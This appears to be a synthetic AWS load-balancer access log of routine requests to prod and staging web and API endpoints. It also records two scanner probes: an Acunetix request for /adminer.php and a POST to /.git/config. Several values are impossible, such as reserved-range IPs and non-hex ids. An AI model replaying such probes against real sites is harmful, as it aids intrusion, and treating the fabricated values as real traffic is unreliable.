"Root=1-6723e01f-b8e3db50c42e41d6a218cc49" "prod-api-alb.example.com" "-" 2 2024-11-01T02:53:03.367399Z "forward" "-" "-" "10.0.46.190:443" "200" "-" "-" +https 2024-11-01T02:53:04.628467Z prod-web-alb 166.91.167.200:18192 10.0.50.227:443 0.075604 0.382800 0.072704 200 200 600 11217 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e020-e636181d795843018105e3ac" "prod-web-alb.example.com" "-" 10 2024-11-01T02:53:04.628467Z "forward" "-" "-" "10.0.50.227:443" "200" "-" "-" +https 2024-11-01T02:53:06.094399Z staging-alb 226.234.164.61:64774 83.82.170.211:8080 0.090275 0.450038 0.127180 200 200 802 11970 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e022-aaf0a63fb9484d58a1199f5a" "staging-alb.example.com" "-" 5 2024-11-01T02:53:06.094399Z "forward" "-" "-" "83.82.170.211:8080" "200" "-" "-" +https 2024-11-01T02:53:06.196818Z prod-api-alb 102.102.22.75:51203 10.0.181.11:443 0.016413 0.370102 0.054648 200 200 282 12223 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e022-3f124417b3f64130be9d5fcd" "prod-api-alb.example.com" "-" 7 2024-11-01T02:53:06.196818Z "forward" "-" "-" "10.0.181.11:443" "200" "-" "-" +https 2024-11-01T02:53:08.128410Z prod-api-alb 45.155.205.251:53849 10.0.140.37:443 0.046086 0.193957 0.087821 301 301 460 6001 "GET /adminer.php HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e024-19a1bc7ae6a8499585f510e8" "-" "-" 0 2024-11-01T02:53:08.128410Z "forward" "-" "-" "10.0.140.37:443" "301" "-" "-" +https 2024-11-01T02:53:09.911338Z staging-alb 38.246.38.109:35826 2.104.153.101:443 0.038272 0.365838 0.061071 200 200 575 2603 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e025-583e93d772ca4318ad8e2b6f" "staging-alb.example.com" "-" 5 2024-11-01T02:53:09.911338Z "forward" "-" "-" "2.104.153.101:443" "200" "-" "-" +https 2024-11-01T02:53:10.269527Z prod-api-alb 204.77.120.96:27496 10.0.2.196:443 0.027935 0.495938 0.097349 200 200 783 10536 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e026-e935195277de499bb87af0b8" "prod-api-alb.example.com" "-" 3 2024-11-01T02:53:10.269527Z "forward" "-" "-" "10.0.2.196:443" "200" "-" "-" +https 2024-11-01T02:53:11.928881Z prod-web-alb 123.78.167.163:39324 10.0.3.151:443 0.013366 0.260702 0.066424 404 404 253 7864 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e027-447d970d864f47fc83247ec1" "prod-web-alb.example.com" "-" 1 2024-11-01T02:53:11.928881Z "forward" "-" "-" "10.0.3.151:443" "404" "-" "-" +https 2024-11-01T02:53:12.282066Z prod-web-alb 188.44.192.206:62848 10.0.8.237:443 0.031432 0.121551 0.075150 404 404 901 1510 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e028-b5675a0d195f474ca27b3c26" "prod-web-alb.example.com" "-" 3 2024-11-01T02:53:12.282066Z "forward" "-" "-" "10.0.8.237:443" "404" "-" "-" +https 2024-11-01T02:53:12.694989Z prod-web-alb 102.167.218.1:20494 10.0.35.144:443 0.024964 0.247150 0.047382 200 200 712 10662 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e028-42fc92419db04036914d6441" "prod-web-alb.example.com" "-" 3 2024-11-01T02:53:12.694989Z "forward" "-" "-" "10.0.35.144:443" "200" "-" "-" +https 2024-11-01T02:53:13.186017Z staging-alb 100.86.162.102:62493 138.226.45.40:80 0.057397 0.538176 0.113350 200 200 562 7081 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e029-25646ad9fdde4884a3bc243b" "staging-alb.example.com" "-" 5 2024-11-01T02:53:13.186017Z "forward" "-" "-" "138.226.45.40:80" "200" "-" "-" +https 2024-11-01T02:53:14.284562Z prod-web-alb 71.41.47.160:15800 10.0.138.32:443 0.083462 0.023907 0.067546 404 404 18 11308 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e02a-c4ccb0d7508541deb2e8a345" "prod-web-alb.example.com" "-" 8 2024-11-01T02:53:14.284562Z "forward" "-" "-" "10.0.138.32:443" "404" "-" "-" +https 2024-11-01T02:53:15.086086Z prod-web-alb 154.82.173.163:64669 10.0.252.150:443 0.042084 0.191761 0.075097 200 200 174 2704 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e02b-0ec697ace9e44a5b806d137a" "prod-web-alb.example.com" "-" 3 2024-11-01T02:53:15.086086Z "forward" "-" "-" "10.0.252.150:443" "200" "-" "-" +https 2024-11-01T02:53:16.371692Z staging-alb 188.208.149.92:39719 67.142.29.195:8080 0.016916 0.633326 0.004086 200 200 724 13519 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e02c-7863a441cfd84110af796d1a" "staging-alb.example.com" "-" 9 2024-11-01T02:53:16.371692Z "forward" "-" "-" "67.142.29.195:8080" "200" "-" "-" +https 2024-11-01T02:53:17.240125Z prod-api-alb 20.89.142.169:39134 10.0.135.235:443 0.041941 0.135069 0.055414 200 200 623 11243 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e02d-d350c4afe7b94953bf0466f1" "prod-api-alb.example.com" "-" 2 2024-11-01T02:53:17.240125Z "forward" "-" "-" "10.0.135.235:443" "200" "-" "-" +https 2024-11-01T02:53:17.431559Z staging-alb 41.11.28.163:21099 204.1.118.168:80 0.056576 0.209299 0.134672 302 302 612 10309 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e02d-92f59a252c6a47988fc4ccd6" "staging-alb.example.com" "-" 6 2024-11-01T02:53:17.431559Z "forward" "-" "-" "204.1.118.168:80" "302" "-" "-" +https 2024-11-01T02:53:19.388555Z staging-alb 156.51.19.209:23442 223.109.164.117:80 0.044104 0.354101 0.043916 200 200 969 10302 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e02f-909edf03e5df42f6b9d7f197" "staging-alb.example.com" "-" 3 2024-11-01T02:53:19.388555Z "forward" "-" "-" "223.109.164.117:80" "200" "-" "-" +https 2024-11-01T02:53:21.191866Z staging-alb 57.65.95.24:53034 5.3.140.171:80 0.019216 0.262618 0.127849 200 200 137 12863 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e031-ebe1f496e15844e9b42f49dc" "staging-alb.example.com" "-" 9 2024-11-01T02:53:21.191866Z "forward" "-" "-" "5.3.140.171:80" "200" "-" "-" +https 2024-11-01T02:53:22.397030Z prod-api-alb 145.6.184.69:64498 10.0.78.216:443 0.052882 0.209365 0.022193 302 302 328 11684 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e032-33fdaa19d0d44f8384a10258" "prod-api-alb.example.com" "-" 9 2024-11-01T02:53:22.397030Z "forward" "-" "-" "10.0.78.216:443" "302" "-" "-" +https 2024-11-01T02:53:24.272129Z prod-web-alb 45.155.205.103:22881 10.0.64.230:443 0.088991 0.165159 0.075696 302 302 646 251 "POST /.git/config HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e034-a4aeae0f4b724ceeabff3ca7" "-" "-" 5 2024-11-01T02:53:24.272129Z "forward" "-" "-" "10.0.64.230:443" "302" "-" "-" +https 2024-11-01T02:53:25.883251Z prod-api-alb 35.43.5.146:63507 10.0.190.182:443 0.057315 0.056288 0.029540 200 200 111 13710 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e035-bcd5c96c026441b59831297f" "prod-api-alb.example.com" "-" 2 2024-11-01T02:53:25.883251Z "forward" "-" "-" "10.0.190.182:443" "200" "-" "-" +https 2024-11-01T02:53:26.768056Z prod-web-alb 90.86.92.192:46048 10.0.53.240:443 0.076956 0.142297 0.064592 200 200 840 14420 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e036-c43764d2f7d043cfb9ce68ee" "prod-web-alb.example.com" "-" 6 2024-11-01T02:53:26.768056Z "forward" "-" "-" "10.0.53.240:443" "200" "-" "-" +https 2024-11-01T02:53:28.295629Z prod-web-alb 227.183.20.105:36027 10.0.139.177:443 0.000046 0.268582 0.002971 404 404 318 11399 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e038-d8989a5c9a894ce8bbb0df2f" "prod-web-alb.example.com" "-" 4 2024-11-01T02:53:28.295629Z "forward" "-" "-" "10.0.139.177:443" "404" "-" "-" +https 2024-11-01T02:53:29.728238Z prod-api-alb 104.149.127.170:16734 10.0.233.207:443 0.043043 0.442063 0.074713 200 200 746 9991 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e039-2974bac936ba43a48731d0cb" "prod-api-alb.example.com" "-" 0 2024-11-01T02:53:29.728238Z "forward" "-" "-" "10.0.233.207:443" "200" "-" "-" +https 2024-11-01T02:53:31.109284Z prod-api-alb 155.26.9.245:23570 10.0.91.202:443 0.028036 0.049378 0.058707 200 200 95 6720 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e03b-5502175b9fbf4daaaa9bb854" "prod-api-alb.example.com" "-" 8 2024-11-01T02:53:31.109284Z "forward" "-" "-" "10.0.91.202:443" "200" "-" "-" +https 2024-11-01T02:53:32.072361Z prod-web-alb 72.10.43.254:24973 10.0.221.239:443 0.098893 0.146199 0.072251 200 200 240 6035 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e03c-124c70110bf944feb79b3003" "prod-web-alb.example.com" "-" 7 2024-11-01T02:53:32.072361Z "forward" "-" "-" "10.0.221.239:443" "200" "-" "-" +https 2024-11-01T02:53:33.674328Z staging-alb 222.184.132.153:19327 87.88.68.215:80 0.085614 0.041320 0.140940 200 200 600 10293 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e03d-763ce4df70ca46af8018f949" "staging-alb.example.com" "-" 6 2024-11-01T02:53:33.674328Z "forward" "-" "-" "87.88.68.215:80" "200" "-" "-" +https 2024-11-01T02:53:34.364499Z prod-web-alb 235.208.92.47:59004 10.0.251.242:443 0.052670 0.401659 0.074599 301 301 46 1648 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e03e-6812cd35c58e408cb2f089b5" "prod-web-alb.example.com" "-" 10 2024-11-01T02:53:34.364499Z "forward" "-" "-" "10.0.251.242:443" "301" "-" "-" +https 2024-11-01T02:53:36.094825Z staging-alb 237.65.9.63:55217 162.80.115.79:443 0.114102 0.094836 0.025824 301 301 144 6694 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e040-00ea68270f3f427794e4069e" "staging-alb.example.com" "-" 6 2024-11-01T02:53:36.094825Z "forward" "-" "-" "162.80.115.79:443" "301" "-" "-" +https 2024-11-01T02:53:37.022563Z staging-alb 68.222.66.27:40927 135.84.135.229:80 0.104256 0.443986 0.047767 200 200 510 8122 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e041-fa71e790f8114280a95f22ce" "staging-alb.example.com" "-" 1 2024-11-01T02:53:37.022563Z "forward" "-" "-" "135.84.135.229:80" "200" "-" "-" +https 2024-11-01T02:53:38.757159Z prod-web-alb 55.145.156.191:27837 10.0.21.95:443 0.053885 0.104301 0.089336 200 200 352 5488 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e042-de877158c72f4355856690c2" "prod-web-alb.example.com" "-" 3 2024-11-01T02:53:38.757159Z "forward" "-" "-" "10.0.21.95:443" "200" "-" "-" +https 2024-11-01T02:53:40.750016Z prod-api-alb 30.138.175.64:12514 10.0.29.245:443 0.041298 0.368048 0.094450 200 200 795 7572 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e044-bbbd900dc383410cac6e7ce5" "prod-api-alb.example.com" "-" 10 2024-11-01T02:53:40.750016Z "forward" "-" "-" "10.0.29.245:443" "200" "-" "-" +https 2024-11-01T02:53:41.594359Z prod-api-alb 16.39.232.81:48225 10.0.113.225:443 0.035501 0.275579 0.004786 302 302 474 460 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e045-faaed98582944b08802e428d" "prod-api-alb.example.com" "-" 10 2024-11-01T02:53:41.594359Z "forward" "-" "-" "10.0.113.225:443" "302" "-" "-" +https 2024-11-01T02:53:41.717725Z staging-alb 60.222.234.8:20052 213.189.81.47:443 0.041482 0.187193 0.079255 302 302 217 5560 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e045-9e8c32a95cd54db2a54e1ef8" "staging-alb.example.com" "-" 0 2024-11-01T02:53:41.717725Z "forward" "-" "-" "213.189.81.47:443" "302" "-" "-" +http 2024-11-01T02:53:43.349840Z staging-alb 79.131.180.159:25062 11.84.104.13:443 0.139872 0.681218 0.066359 200 200 974 13415 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e047-8912c5c4ad8b44cab8ff1ce5" "staging-alb.example.com" "-" 6 2024-11-01T02:53:43.349840Z "forward" "-" "-" "11.84.104.13:443" "200" "-" "-" +http 2024-11-01T02:53:44.602458Z staging-alb 50.210.153.31:53673 138.229.198.25:80 0.010687 0.701216 0.011617 200 200 732 12110 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e048-eff4ab8f8511483299a9fb99" "staging-alb.example.com" "-" 5 2024-11-01T02:53:44.602458Z "forward" "-" "-" "138.229.198.25:80" "200" "-" "-" +http 2024-11-01T02:53:44.960205Z staging-alb 47.87.120.187:63836 251.9.65.250:80 0.073802 0.565315 0.145268 200 200 13 14367 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e048-bf814ae2d3554d63b1a5f7dc" "-" "-" 3 2024-11-01T02:53:44.960205Z "forward" "-" "-" "251.9.65.250:80" "200" "-" "-" +http 2024-11-01T02:53:46.896106Z staging-alb 216.228.108.32:42690 242.37.227.47:8080 0.092860 0.288666 0.074515 404 404 60 2677 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e04a-1daedf2237ef45aaafd9d3bc" "staging-alb.example.com" "-" 5 2024-11-01T02:53:46.896106Z "forward" "-" "-" "242.37.227.47:8080" "404" "-" "-" +https 2024-11-01T02:53:47.431716Z prod-api-alb 165.101.221.152:17590 10.0.154.54:443 0.068049 0.110781 0.025797 200 200 282 3048 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723e04b-18a73336ca5a49e68f1c2b8c" "prod-api-alb.example.com" "-" 0 2024-11-01T02:53:47.431716Z "forward" "-" "-" "10.0.154.54:443" "200" "-" "-" +https 2024-11-01T02:53:47.766576Z prod-api-alb 59.220.70.115:18965 10.0.92.100:443 0.098395 0.188004 0.035949 200 200 837 11002 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e04b-3290cde58024436a99f1fb97" "prod-api-alb.example.com" "-" 10 2024-11-01T02:53:47.766576Z "forward" "-" "-" "10.0.92.100:443" "200" "-" "-" +https 2024-11-01T02:53:49.266901Z prod-api-alb 153.11.98.46:62266 10.0.181.101:443 0.067713 0.093605 0.026721 200 200 130 11363 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e04d-df81ae6d49e74cc5b4d6c2ed" "prod-api-alb.example.com" "-" 7 2024-11-01T02:53:49.266901Z "forward" "-" "-" "10.0.181.101:443" "200" "-" "-" +https 2024-11-01T02:53:49.572199Z prod-api-alb 254.106.253.49:28039 10.0.107.211:443 0.070932 0.210210 0.046540 200 200 565 1689 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723e04d-a4ec0dda85994289aec37173" "prod-api-alb.example.com" "-" 0 2024-11-01T02:53:49.572199Z "forward" "-" "-" "10.0.107.211:443" "200" "-" "-" +https 2024-11-01T02:53:50.606491Z staging-alb 179.101.174.23:40138 22.210.100.182:443 0.009897 0.128004 0.067702 301 301 278 12047 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e04e-8d4f0170fbc54a7f8a5d8ccd" "staging-alb.example.com" "-" 10 2024-11-01T02:53:50.606491Z "forward" "-" "-" "22.210.100.182:443" "301" "-" "-" +http 2024-11-01T02:53:51.861110Z staging-alb 233.220.50.124:10987 64.108.32.152:80 0.138719 0.372366 0.097274 200 200 599 13486 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e04f-0efeaef61b4a42958cc065e5" "staging-alb.example.com" "-" 4 2024-11-01T02:53:51.861110Z "forward" "-" "-" "64.108.32.152:80" "200" "-" "-" +https 2024-11-01T02:53:52.493848Z prod-web-alb 22.62.149.245:41932 10.0.241.94:443 0.033925 0.423385 0.010336 200 200 30 8835 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723e050-e1b88e79b79e4286bd2b7dfb" "prod-web-alb.example.com" "-" 5 2024-11-01T02:53:52.493848Z "forward" "-" "-" "10.0.241.94:443" "200" "-" "-" +https 2024-11-01T02:53:54.250352Z prod-web-alb 138.78.152.11:47623 10.0.37.42:443 0.064667 0.272656 0.086034 200 200 252 6165 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e052-c06c3e21ad4a474ba4e72e32" "prod-web-alb.example.com" "-" 7 2024-11-01T02:53:54.250352Z "forward" "-" "-" "10.0.37.42:443" "200" "-" "-" +https 2024-11-01T02:53:55.290095Z staging-alb 109.111.67.231:63212 99.188.226.189:80 0.112331 0.270342 0.112160 302 302 971 7104 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723e053-a5399363a2ae4d478069f5aa" "staging-alb.example.com" "-" 9 2024-11-01T02:53:55.290095Z "forward" "-" "-" "99.188.226.189:80" "302" "-" "-" +http 2024-11-01T02:53:57.044437Z staging-alb 96.170.142.91:58700 234.48.157.189:443 0.121509 0.695624 0.078846 301 301 248 5309 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723e055-d14c7a5415d344478ac4e73d" "staging-alb.example.com" "-" 7 2024-11-01T02:53:57.044437Z "forward" "-" "-" "234.48.157.189:443" "301" "-" "-" +https 2024-11-01T02:53:57.277764Z prod-web-alb 202.17.71.10:39544 10.0.87.178:443 0.047829 0.251983 0.080779 200 200 403 11409 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723e055-a1ff85c61fa14034b79c4606" "prod-web-alb.example.com" "-" 0 2024-11-01T02:53:57.277764Z "forward" "-" "-" "10.0.87.178:443" "200" "-" "-" +http 2024-11-01T02:53:58.348242Z staging-alb 240.47.117.60:56752 50.106.130.135:8080 0.076520 0.741002 0.082508 200 200 948 14181 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" 